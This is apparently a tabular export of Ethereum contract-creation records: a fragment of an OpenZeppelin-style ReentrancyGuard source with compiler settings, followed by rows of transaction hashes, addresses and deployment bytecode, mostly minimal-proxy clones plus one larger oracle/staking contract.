/**\n * @dev Prevents a contract from calling itself, directly or indirectly.\n * Calling a `nonReentrant` function from another `nonReentrant`\n * function is not supported. It is possible to prevent this from happening\n * by making the `nonReentrant` function external, and making it call a\n * `private` function that does the actual work.\n */\n modifier nonReentrant() {\n _nonReentrantBefore();\n _;\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n // On the first call to nonReentrant, _status will be _NOT_ENTERED\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n // Any calls to nonReentrant after this point will fail\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n // By storing the original value once again, a refund is triggered (see\n // https://eips.ethereum.org/EIPS/eip-2200)\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Returns true if the reentrancy guard is currently set to \"entered\", which indicates there is a\n * `nonReentrant` function in the call stack.\n */\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 200
},
"evmVersion": "london",
"libraries": {},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}} |
1 | 20,290,696 | 03f00910388edc0d045489ef83dda90e0b0b2be34f4c2f1864f4cd140c7da199 | d035f06d994ff8f1ab976e702f622b406e004cf55c63543ee4dfc2a44b006fe2 | d123af31290072c03dbacedccd167c2317f3216f | bdeb4ba6a1bb01e01ed64f11ed8f6f4b906af52b | 4023a021d373e5e641231710fff2302b46d59b11 | 3d602d80600a3d3981f3363d3d373d3d3d363d73fb547b99356a114d54671915a0f7bf5cec1973f35af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73fb547b99356a114d54671915a0f7bf5cec1973f35af43d82803e903d91602b57fd5bf3 | |
1 | 20,290,696 | 03f00910388edc0d045489ef83dda90e0b0b2be34f4c2f1864f4cd140c7da199 | d035f06d994ff8f1ab976e702f622b406e004cf55c63543ee4dfc2a44b006fe2 | d123af31290072c03dbacedccd167c2317f3216f | bdeb4ba6a1bb01e01ed64f11ed8f6f4b906af52b | 7c9d87efb00fe3514dc63f4017577c3acb7ebc04 | 3d602d80600a3d3981f3363d3d373d3d3d363d73fb547b99356a114d54671915a0f7bf5cec1973f35af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73fb547b99356a114d54671915a0f7bf5cec1973f35af43d82803e903d91602b57fd5bf3 | |
1 | 20,290,696 | 03f00910388edc0d045489ef83dda90e0b0b2be34f4c2f1864f4cd140c7da199 | d035f06d994ff8f1ab976e702f622b406e004cf55c63543ee4dfc2a44b006fe2 | d123af31290072c03dbacedccd167c2317f3216f | bdeb4ba6a1bb01e01ed64f11ed8f6f4b906af52b | 4fab6a88789f27f33b2c327dcd50eb4fa4c67599 | 3d602d80600a3d3981f3363d3d373d3d3d363d73fb547b99356a114d54671915a0f7bf5cec1973f35af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73fb547b99356a114d54671915a0f7bf5cec1973f35af43d82803e903d91602b57fd5bf3 | |
1 | 20,290,696 | 03f00910388edc0d045489ef83dda90e0b0b2be34f4c2f1864f4cd140c7da199 | d035f06d994ff8f1ab976e702f622b406e004cf55c63543ee4dfc2a44b006fe2 | d123af31290072c03dbacedccd167c2317f3216f | bdeb4ba6a1bb01e01ed64f11ed8f6f4b906af52b | b97a5f8bd8db2615207f895695e68de059ea5dd6 | 3d602d80600a3d3981f3363d3d373d3d3d363d73fb547b99356a114d54671915a0f7bf5cec1973f35af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73fb547b99356a114d54671915a0f7bf5cec1973f35af43d82803e903d91602b57fd5bf3 | |
1 | 20,290,696 | 03f00910388edc0d045489ef83dda90e0b0b2be34f4c2f1864f4cd140c7da199 | d035f06d994ff8f1ab976e702f622b406e004cf55c63543ee4dfc2a44b006fe2 | d123af31290072c03dbacedccd167c2317f3216f | bdeb4ba6a1bb01e01ed64f11ed8f6f4b906af52b | 26dc262a148de022d644427b2e3119a2345286ab | 3d602d80600a3d3981f3363d3d373d3d3d363d73fb547b99356a114d54671915a0f7bf5cec1973f35af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73fb547b99356a114d54671915a0f7bf5cec1973f35af43d82803e903d91602b57fd5bf3 | |
1 | 20,290,696 | 03f00910388edc0d045489ef83dda90e0b0b2be34f4c2f1864f4cd140c7da199 | d035f06d994ff8f1ab976e702f622b406e004cf55c63543ee4dfc2a44b006fe2 | d123af31290072c03dbacedccd167c2317f3216f | bdeb4ba6a1bb01e01ed64f11ed8f6f4b906af52b | f00af09e63b99d8a48e55e8d3a8f0fa87b931dc7 | 3d602d80600a3d3981f3363d3d373d3d3d363d73fb547b99356a114d54671915a0f7bf5cec1973f35af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73fb547b99356a114d54671915a0f7bf5cec1973f35af43d82803e903d91602b57fd5bf3 | |
1 | 20,290,696 | 03f00910388edc0d045489ef83dda90e0b0b2be34f4c2f1864f4cd140c7da199 | d035f06d994ff8f1ab976e702f622b406e004cf55c63543ee4dfc2a44b006fe2 | d123af31290072c03dbacedccd167c2317f3216f | bdeb4ba6a1bb01e01ed64f11ed8f6f4b906af52b | e22f01da703e8d44753fa43a4f026315088f0ca5 | 3d602d80600a3d3981f3363d3d373d3d3d363d73fb547b99356a114d54671915a0f7bf5cec1973f35af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73fb547b99356a114d54671915a0f7bf5cec1973f35af43d82803e903d91602b57fd5bf3 | |
1 | 20,290,696 | 03f00910388edc0d045489ef83dda90e0b0b2be34f4c2f1864f4cd140c7da199 | d035f06d994ff8f1ab976e702f622b406e004cf55c63543ee4dfc2a44b006fe2 | d123af31290072c03dbacedccd167c2317f3216f | bdeb4ba6a1bb01e01ed64f11ed8f6f4b906af52b | 527eec3515a01c99e19c5f1bdc197925260f5a8d | 3d602d80600a3d3981f3363d3d373d3d3d363d73fb547b99356a114d54671915a0f7bf5cec1973f35af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73fb547b99356a114d54671915a0f7bf5cec1973f35af43d82803e903d91602b57fd5bf3 | |
1 | 20,290,696 | 03f00910388edc0d045489ef83dda90e0b0b2be34f4c2f1864f4cd140c7da199 | d035f06d994ff8f1ab976e702f622b406e004cf55c63543ee4dfc2a44b006fe2 | d123af31290072c03dbacedccd167c2317f3216f | bdeb4ba6a1bb01e01ed64f11ed8f6f4b906af52b | 388ef238841510345e3285cd293d34a7c77438db | 3d602d80600a3d3981f3363d3d373d3d3d363d73fb547b99356a114d54671915a0f7bf5cec1973f35af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73fb547b99356a114d54671915a0f7bf5cec1973f35af43d82803e903d91602b57fd5bf3 | |
1 | 20,290,696 | 03f00910388edc0d045489ef83dda90e0b0b2be34f4c2f1864f4cd140c7da199 | d035f06d994ff8f1ab976e702f622b406e004cf55c63543ee4dfc2a44b006fe2 | d123af31290072c03dbacedccd167c2317f3216f | bdeb4ba6a1bb01e01ed64f11ed8f6f4b906af52b | 1195f01406969716420f839af5ddc4b560687cee | 3d602d80600a3d3981f3363d3d373d3d3d363d73fb547b99356a114d54671915a0f7bf5cec1973f35af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73fb547b99356a114d54671915a0f7bf5cec1973f35af43d82803e903d91602b57fd5bf3 | |
1 | 20,290,696 | 03f00910388edc0d045489ef83dda90e0b0b2be34f4c2f1864f4cd140c7da199 | d035f06d994ff8f1ab976e702f622b406e004cf55c63543ee4dfc2a44b006fe2 | d123af31290072c03dbacedccd167c2317f3216f | bdeb4ba6a1bb01e01ed64f11ed8f6f4b906af52b | bbe4aa78679378056d7ae609dfbbcc60be9a93d4 | 3d602d80600a3d3981f3363d3d373d3d3d363d73fb547b99356a114d54671915a0f7bf5cec1973f35af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73fb547b99356a114d54671915a0f7bf5cec1973f35af43d82803e903d91602b57fd5bf3 | |
1 | 20,290,697 | f3b321d3aa1ffc133f923e7f1f9224115dbcf2b30935fd38c64c2fe85957234c | a7b958b33aa7e2fe57c4619af0fb3f984256521b79db805b6cf904e3f5ae4b8d | be49bd130e126a917ddb5fabf7cdeb6dd9887f40 | 84654be796dad370032391d5479f8f1fd9ddd14e | bbea77041e68bd8e8301ebdab98e7b9ef6292cc0 | 604080600a3d393df3fe73265c27c849b0e1a62636f6007e8a74dc2a2584aa3d366025573d3d3d3d34865af16031565b363d3d373d3d363d855af45b3d82803e603c573d81fd5b3d81f3 | 73265c27c849b0e1a62636f6007e8a74dc2a2584aa3d366025573d3d3d3d34865af16031565b363d3d373d3d363d855af45b3d82803e603c573d81fd5b3d81f3 | |
1 | 20,290,698 | 31754070feabf2c9d28df96969c0483f50e23ee9d2b3585b522a0c0010339dda | 7deb3549bcd246b696163df3e2c3c13f3e2457a44793b4123dfcc8ac9fc73e57 | 024326bf8d2db920fa20e56a89bc102aecced4ec | 024326bf8d2db920fa20e56a89bc102aecced4ec | 4aa4f6722b4b52f1bd3a8fff6471d6421257a3f2 | 608060405234801562000010575f80fd5b50604051620021f9380380620021f9833981810160405281019062000036919062000285565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620000a7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200009e906200033c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160362000118576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200010f90620003aa565b60405180910390fd5b8160035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503360015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508260025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050620003ca565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6200024f8262000224565b9050919050565b620002618162000243565b81146200026c575f80fd5b50565b5f815190506200027f8162000256565b92915050565b5f805f606084860312156200029f576200029e62000220565b5b5f620002ae868287016200026f565b9350506020620002c1868287016200026f565b9250506040620002d4868287016200026f565b9150509250925092565b5f82825260208201905092915050565b7f6d7573742073657420746f6b656e2061646472657373000000000000000000005f82015250565b5f62000324601683620002de565b91506200033182620002ee565b602082019050919050565b5f6020820190508181035f830152620003558162000316565b9050919050565b7f6d75737420736574206f7261636c6520616464726573730000000000000000005f82015250565b5f62000392601783620002de565b91506200039f826200035c565b602082019050919050565b5f6020820190508181035f830152620003c38162000384565b9050919050565b611e2180620003d85f395ff3fe608060405234801561000f575f80fd5b50600436106100cd575f3560e01c8063b07f84961161008a578063cdc1842411610064578063cdc18424146101bf578063ed516cc0146101dd578063f2fde38b146101f9578063fc0c546a14610215576100cd565b8063b07f84961461017d578063bed9d86114610199578063cb82cc8f146101a3576100cd565b806349a79036146100d157806376ee4c0f146100ed5780637dc0d1d0146101095780638929f4c6146101275780638da5cb5b146101435780639e281a9814610161575b5f80fd5b6100eb60048036038101906100e691906112dc565b610233565b005b610107600480360381019061010291906113ce565b610372565b005b610111610696565b60405161011e91906114e0565b60405180910390f35b610141600480360381019061013c91906114f9565b6106b9565b005b61014b6107d0565b6040516101589190611533565b60405180910390f35b61017b6004803603810190610176919061154c565b6107f5565b005b610197600480360381019061019291906113ce565b610a3e565b005b6101a1610ce6565b005b6101bd60048036038101906101b891906114f9565b610df1565b005b6101c7610fb0565b6040516101d49190611533565b60405180910390f35b6101f760048036038101906101f291906112dc565b610fd5565b005b610213600480360381019061020e91906112dc565b611115565b005b61021d611255565b60405161022a91906115aa565b60405180910390f35b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146102c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102b99061161d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610330576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161032790611685565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f8906116ed565b60405180910390fd5b5f61012c5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166396426d976040518163ffffffff1660e01b8152600401602060405180830381865afa15801561046d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610491919061171f565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636fd4f2296040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061051d919061171f565b426105289190611777565b61053291906117aa565b61053c9190611818565b905081811015610581576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057890611892565b60405180910390fd5b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b67f8cbd6040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156105e7575f80fd5b505af11580156105f9573d5f803e3d5ffd5b505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635eaa9ced8989898989896040518763ffffffff1660e01b815260040161065f96959493929190611928565b5f604051808303815f87803b158015610676575f80fd5b505af1158015610688573d5f803e3d5ffd5b505050505050505050505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073f906119c7565b60405180910390fd5b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638929f4c6826040518263ffffffff1660e01b81526004016107a091906119e5565b5f604051808303815f87803b1580156107b7575f80fd5b505af11580156107c9573d5f803e3d5ffd5b5050505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087b90611a6e565b60405180910390fd5b8060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016108df9190611533565b602060405180830381865afa1580156108fa573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091e919061171f565b101561095f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095690611ad6565b60405180910390fd5b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b81526004016109bb929190611af4565b6020604051808303815f875af11580156109d7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109fb9190611b50565b610a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3190611bc5565b60405180910390fd5b5050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610acd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac4906116ed565b60405180910390fd5b5f61012c5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166396426d976040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b39573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b5d919061171f565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636fd4f2296040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bc5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610be9919061171f565b42610bf49190611777565b610bfe91906117aa565b610c089190611818565b905081811015610c4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4490611892565b60405180910390fd5b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635eaa9ced8989898989896040518763ffffffff1660e01b8152600401610caf96959493929190611928565b5f604051808303815f87803b158015610cc6575f80fd5b505af1158015610cd8573d5f803e3d5ffd5b505050505050505050505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6c90611c2d565b60405180910390fd5b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bed9d8616040518163ffffffff1660e01b81526004015f604051808303815f87803b158015610dd9575f80fd5b505af1158015610deb573d5f803e3d5ffd5b50505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7790611c95565b60405180910390fd5b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b35f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610efb929190611af4565b5f604051808303815f87803b158015610f12575f80fd5b505af1158015610f24573d5f803e3d5ffd5b505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cb82cc8f826040518263ffffffff1660e01b8152600401610f8091906119e5565b5f604051808303815f87803b158015610f97575f80fd5b505af1158015610fa9573d5f803e3d5ffd5b5050505050565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b9061161d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036110d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c990611cfd565b60405180910390fd5b8060035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119b90611d65565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611212576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120990611dcd565b60405180910390fd5b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112ab82611282565b9050919050565b6112bb816112a1565b81146112c5575f80fd5b50565b5f813590506112d6816112b2565b92915050565b5f602082840312156112f1576112f061127a565b5b5f6112fe848285016112c8565b91505092915050565b5f819050919050565b61131981611307565b8114611323575f80fd5b50565b5f8135905061133481611310565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261135b5761135a61133a565b5b8235905067ffffffffffffffff8111156113785761137761133e565b5b60208301915083600182028301111561139457611393611342565b5b9250929050565b5f819050919050565b6113ad8161139b565b81146113b7575f80fd5b50565b5f813590506113c8816113a4565b92915050565b5f805f805f805f60a0888a0312156113e9576113e861127a565b5b5f6113f68a828b01611326565b975050602088013567ffffffffffffffff8111156114175761141661127e565b5b6114238a828b01611346565b965096505060406114368a828b016113ba565b945050606088013567ffffffffffffffff8111156114575761145661127e565b5b6114638a828b01611346565b935093505060806114768a828b016113ba565b91505092959891949750929550565b5f819050919050565b5f6114a86114a361149e84611282565b611485565b611282565b9050919050565b5f6114b98261148e565b9050919050565b5f6114ca826114af565b9050919050565b6114da816114c0565b82525050565b5f6020820190506114f35f8301846114d1565b92915050565b5f6020828403121561150e5761150d61127a565b5b5f61151b848285016113ba565b91505092915050565b61152d816112a1565b82525050565b5f6020820190506115465f830184611524565b92915050565b5f80604083850312156115625761156161127a565b5b5f61156f858286016112c8565b9250506020611580858286016113ba565b9150509250929050565b5f611594826114af565b9050919050565b6115a48161158a565b82525050565b5f6020820190506115bd5f83018461159b565b92915050565b5f82825260208201905092915050565b7f6f6e6c79206f776e65722063616e2072657365742061646472657373000000005f82015250565b5f611607601c836115c3565b9150611612826115d3565b602082019050919050565b5f6020820190508181035f830152611634816115fb565b9050919050565b7f6d75737420736574206f7261636c6520616464726573730000000000000000005f82015250565b5f61166f6017836115c3565b915061167a8261163b565b602082019050919050565b5f6020820190508181035f83015261169c81611663565b9050919050565b7f6f6e6c79206f776e65722063616e207375626d69742076616c756500000000005f82015250565b5f6116d7601b836115c3565b91506116e2826116a3565b602082019050919050565b5f6020820190508181035f830152611704816116cb565b9050919050565b5f81519050611719816113a4565b92915050565b5f602082840312156117345761173361127a565b5b5f6117418482850161170b565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6117818261139b565b915061178c8361139b565b92508282039050818111156117a4576117a361174a565b5b92915050565b5f6117b48261139b565b91506117bf8361139b565b92508282026117cd8161139b565b915082820484148315176117e4576117e361174a565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6118228261139b565b915061182d8361139b565b92508261183d5761183c6117eb565b5b828204905092915050565b7f6e6f7420656e6f75676820726577617264206f722062616c616e6365000000005f82015250565b5f61187c601c836115c3565b915061188782611848565b602082019050919050565b5f6020820190508181035f8301526118a981611870565b9050919050565b6118b981611307565b82525050565b5f82825260208201905092915050565b828183375f83830152505050565b5f601f19601f8301169050919050565b5f6118f883856118bf565b93506119058385846118cf565b61190e836118dd565b840190509392505050565b6119228161139b565b82525050565b5f60808201905061193b5f8301896118b0565b818103602083015261194e8187896118ed565b905061195d6040830186611919565b81810360608301526119708184866118ed565b9050979650505050505050565b7f6f6e6c79206f776e65722063616e2072657175657374207769746864726177005f82015250565b5f6119b1601f836115c3565b91506119bc8261197d565b602082019050919050565b5f6020820190508181035f8301526119de816119a5565b9050919050565b5f6020820190506119f85f830184611919565b92915050565b7f6f6e6c7920776974686472617765722063616e20776974686472617720746f6b5f8201527f656e000000000000000000000000000000000000000000000000000000000000602082015250565b5f611a586022836115c3565b9150611a63826119fe565b604082019050919050565b5f6020820190508181035f830152611a8581611a4c565b9050919050565b7f496e73756666696369656e742062616c616e63650000000000000000000000005f82015250565b5f611ac06014836115c3565b9150611acb82611a8c565b602082019050919050565b5f6020820190508181035f830152611aed81611ab4565b9050919050565b5f604082019050611b075f830185611524565b611b146020830184611919565b9392505050565b5f8115159050919050565b611b2f81611b1b565b8114611b39575f80fd5b50565b5f81519050611b4a81611b26565b92915050565b5f60208284031215611b6557611b6461127a565b5b5f611b7284828501611b3c565b91505092915050565b7f5472616e73666572206661696c656400000000000000000000000000000000005f82015250565b5f611baf600f836115c3565b9150611bba82611b7b565b602082019050919050565b5f6020820190508181035f830152611bdc81611ba3565b9050919050565b7f6f6e6c79206f776e65722063616e207769746864726177207374616b650000005f82015250565b5f611c17601d836115c3565b9150611c2282611be3565b602082019050919050565b5f6020820190508181035f830152611c4481611c0b565b9050919050565b7f6f6e6c79206f776e65722063616e206465706f736974000000000000000000005f82015250565b5f611c7f6016836115c3565b9150611c8a82611c4b565b602082019050919050565b5f6020820190508181035f830152611cac81611c73565b9050919050565b7f6d7573742073657420746f6b656e2061646472657373000000000000000000005f82015250565b5f611ce76016836115c3565b9150611cf282611cb3565b602082019050919050565b5f6020820190508181035f830152611d1481611cdb565b9050919050565b7f6f6e6c79206f776e65722063616e207265736574206f776e65727368697000005f82015250565b5f611d4f601e836115c3565b9150611d5a82611d1b565b602082019050919050565b5f6020820190508181035f830152611d7c81611d43565b9050919050565b7f496e76616c6964206164647265737300000000000000000000000000000000005f82015250565b5f611db7600f836115c3565b9150611dc282611d83565b602082019050919050565b5f6020820190508181035f830152611de481611dab565b905091905056fea2646970667358221220d42998d21b24b178ae7afb9d2e1c0e95425fd0be5b07a1a586d07ab3bc83403064736f6c63430008180033000000000000000000000000024326bf8d2db920fa20e56a89bc102aecced4ec00000000000000000000000088df592f8eb5d7bd38bfef7deb0fbc02cf3778a00000000000000000000000008cfc184c877154a8f9ffe0fe75649dbe5e2dbebf | 608060405234801561000f575f80fd5b50600436106100cd575f3560e01c8063b07f84961161008a578063cdc1842411610064578063cdc18424146101bf578063ed516cc0146101dd578063f2fde38b146101f9578063fc0c546a14610215576100cd565b8063b07f84961461017d578063bed9d86114610199578063cb82cc8f146101a3576100cd565b806349a79036146100d157806376ee4c0f146100ed5780637dc0d1d0146101095780638929f4c6146101275780638da5cb5b146101435780639e281a9814610161575b5f80fd5b6100eb60048036038101906100e691906112dc565b610233565b005b610107600480360381019061010291906113ce565b610372565b005b610111610696565b60405161011e91906114e0565b60405180910390f35b610141600480360381019061013c91906114f9565b6106b9565b005b61014b6107d0565b6040516101589190611533565b60405180910390f35b61017b6004803603810190610176919061154c565b6107f5565b005b610197600480360381019061019291906113ce565b610a3e565b005b6101a1610ce6565b005b6101bd60048036038101906101b891906114f9565b610df1565b005b6101c7610fb0565b6040516101d49190611533565b60405180910390f35b6101f760048036038101906101f291906112dc565b610fd5565b005b610213600480360381019061020e91906112dc565b611115565b005b61021d611255565b60405161022a91906115aa565b60405180910390f35b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146102c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102b99061161d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610330576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161032790611685565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f8906116ed565b60405180910390fd5b5f61012c5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166396426d976040518163ffffffff1660e01b8152600401602060405180830381865afa15801561046d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610491919061171f565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636fd4f2296040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061051d919061171f565b426105289190611777565b61053291906117aa565b61053c9190611818565b905081811015610581576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057890611892565b60405180910390fd5b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b67f8cbd6040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156105e7575f80fd5b505af11580156105f9573d5f803e3d5ffd5b505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635eaa9ced8989898989896040518763ffffffff1660e01b815260040161065f96959493929190611928565b5f604051808303815f87803b158015610676575f80fd5b505af1158015610688573d5f803e3d5ffd5b505050505050505050505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073f906119c7565b60405180910390fd5b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638929f4c6826040518263ffffffff1660e01b81526004016107a091906119e5565b5f604051808303815f87803b1580156107b7575f80fd5b505af11580156107c9573d5f803e3d5ffd5b5050505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087b90611a6e565b60405180910390fd5b8060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016108df9190611533565